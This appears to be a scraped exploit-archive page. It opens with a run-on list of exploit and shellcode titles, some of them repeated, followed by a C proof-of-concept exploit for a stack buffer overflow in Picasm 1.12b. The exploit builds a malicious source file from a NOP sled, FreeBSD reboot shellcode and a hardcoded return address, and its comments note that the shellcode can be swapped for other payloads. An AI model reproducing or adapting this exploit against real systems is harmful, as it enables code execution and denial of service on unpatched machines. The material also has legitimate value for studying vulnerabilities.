
14991 changes to exploits/shellcodes HTC Touch - vCard over IP Denial of Service TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities PeerBlock 1.1 - Blue Screen of Death WS10 Data Server - SCADA Overflow (PoC) Symantec Endpoint Protection 12.1.4013 - Service Disabling Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow man-db 2.4.1 - 'open_cat_stream()' Local uid=man CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation CDRecord's ReadCD - Local Privilege Escalation Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH) FreeBSD - Intel SYSRET Privilege Escalation (Metasploit) CCProxy 6.2 - 'ping' Remote Buffer Overflow Savant Web Server 3.1 - Remote Buffer Overflow (2) Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit) Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit) Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit) Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass) TeamCity < 9.0.2 - Disabled Registration Bypass OpenSSH SCP Client - Write Arbitrary Files Kados R10 GreenBee - Multiple SQL Injection WordPress Core 5.0 - Remote Code Execution phpBB 3.2.3 - Remote Code Execution Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
70 lines
No EOL
2.1 KiB
C
70 lines
No EOL
2.1 KiB
C
// source: https://www.securityfocus.com/bid/13698/info
|
|
|
|
Picasm is affected by a remote buffer overflow vulnerability.
|
|
|
|
An attacker can exploit this issue by supplying an excessive 'error' directive.
|
|
|
|
If successfully exploited, this issue can allow a remote attacker to gain access to the affected computer in the context of the user running the application.
|
|
|
|
Picasm 1.12b and prior versions are vulnerable to this issue.
|
|
|
|
/* picasm_exploit.c - by Shaun Colley <shaun rsc cx>
|
|
*
|
|
* This code generates a picasm source file with a malformed 'error' directive,
|
|
* which exploits a stack overflow vulnerability in picasm's error printing
|
|
* routines. The file generated by this exploit will only cause execution
|
|
* of FreeBSD 'reboot()' shellcode. Exploit has been tested on
|
|
FreeBSD 5.3-RELEASE.
|
|
* Return address into shellcode may need changing on other operating system
|
|
* versions. Other shellcodes can potentially be used instead of the
|
|
one below.
|
|
*
|
|
* A fix has been provided by picasm's maintainer. The fixed packages can be
|
|
* found at <http://www.co.jyu.fi/~trossi/pic/picasm112c.tar.gz>.
|
|
*/
|
|
|
|
#include <stdio.h>
|
|
#include <stdlib.h>
|
|
|
|
/* FreeBSD reboot shellcode by zillion
|
|
* zillion safemode org */
|
|
char shellcode[] =
|
|
"\x31\xc0\x66\xba\x0e\x27\x66\x81\xea\x06\x27\xb0\x37\xcd\x80";
|
|
|
|
int main(int argc, char *argv[]) {
|
|
|
|
if(argc < 2) {
|
|
printf("syntax: %s <outfile>\n", argv[0]);
|
|
return 1;
|
|
}
|
|
|
|
char buf[144];
|
|
|
|
/* FreeBSD 5.3-RELEASE */
|
|
char ret[] = "\x78\xea\xbf\xbf";
|
|
/* Works when X server is not running */
|
|
/*char ret[] = "\x08\xeb\xbf\xbf";*/
|
|
|
|
char *ptr;
|
|
FILE *fp;
|
|
ptr = buf;
|
|
|
|
/* Craft payload */
|
|
memset(ptr, 0, sizeof(buf));
|
|
memset(ptr, 0x90, 118); /* 118 NOP bytes */
|
|
memcpy(ptr+118, shellcode, sizeof(shellcode)); /* 15 byte shellcode */
|
|
memcpy(ptr+133, ret, 4); /* 4 byte ret address */
|
|
|
|
/* Open outfile */
|
|
if((fp = fopen(argv[1], "w")) == NULL) {
|
|
printf("unable to open %s\n", argv[1]);
|
|
exit(1);
|
|
}
|
|
|
|
/* Write it all to outfile */
|
|
fwrite("error ", 1, 6, fp);
|
|
fprintf(fp, "%s", buf);
|
|
|
|
fclose(fp);
|
|
return 0;
|
|
} |